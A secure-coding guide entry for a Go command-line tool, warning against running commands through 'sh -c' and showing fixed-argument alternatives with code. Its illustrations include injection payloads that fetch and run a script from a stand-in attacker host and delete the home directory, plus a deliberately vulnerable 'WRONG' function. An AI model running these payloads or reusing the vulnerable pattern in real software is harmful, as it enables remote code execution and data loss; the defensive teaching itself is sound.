byob-go-cli

Never shell out through `sh -c`; always `exec.CommandContext` with fixed argv

byob-input-validation.3 contextinput-validation

Problem: exec.Command("sh", "-c", "curl " + url) or the similar exec.Command("bash", "-c", fmt.Sprintf("grep %s log.txt", pattern)) is a command-injection vulnerability dressed as convenience. A URL containing $(curl evil.com | sh) or a pattern containing ; rm -rf ~ executes with the CLI's privileges. Quoting the input is not a fix — shell-quoting is nontrivial, and one missed edge case is one-shot fatal.

Idea: the rule is absolute. Never pass a shell to exec.Command. Always invoke the target binary directly with a fixed argv:

cmd := exec.CommandContext(ctx, "grep", pattern, "log.txt")

The Go exec package does not interpret pattern as shell — it's a single argument to grep, metacharacters and all. Environment variables go through cmd.Env, not through an expanded shell string. Pipelines between binaries go through io.Pipe or goroutines connecting cmd1.Stdout to cmd2.Stdin, not through sh -c "a | b".

The one exception: running a user-supplied script file whose existence is explicitly the feature (mytool run-hook ./hook.sh). In that case the script runs via exec.CommandContext(ctx, "sh", "./hook.sh") — the user's own path as argv[1], no interpolation. That's a different shape (user path, not user string) and safe.

Tradeoffs: losing shell features (globs, redirection, pipes) sometimes means a few more lines of Go. Worth it; Go's stdlib has equivalents (filepath.Glob, os.OpenFile, io.Copy) that are cross-platform and don't spawn a subshell.

When not to use: never deviate. Shell invocation with interpolated input has no safe form.

Design

// WRONG: classic injection vector
func badGrep(ctx context.Context, pattern string) error {
    return exec.CommandContext(ctx, "sh", "-c",
        fmt.Sprintf("grep %s log.txt", pattern)).Run()
}

// RIGHT: fixed argv, no shell interpretation
func grep(ctx context.Context, pattern string) error {
    return exec.CommandContext(ctx, "grep", "--", pattern, "log.txt").Run()
}

// Pipeline without a shell:
func curlToJQ(ctx context.Context, url string) ([]byte, error) {
    curl := exec.CommandContext(ctx, "curl", "-sSL", "--", url)
    jq := exec.CommandContext(ctx, "jq", ".data")
    curlOut, err := curl.StdoutPipe()
    if err != nil { return nil, err }
    jq.Stdin = curlOut

    if err := curl.Start(); err != nil { return nil, err }
    out, err := jq.Output()
    if werr := curl.Wait(); werr != nil && err == nil {
        err = fmt.Errorf("curl: %w", werr)
    }
    return out, err
}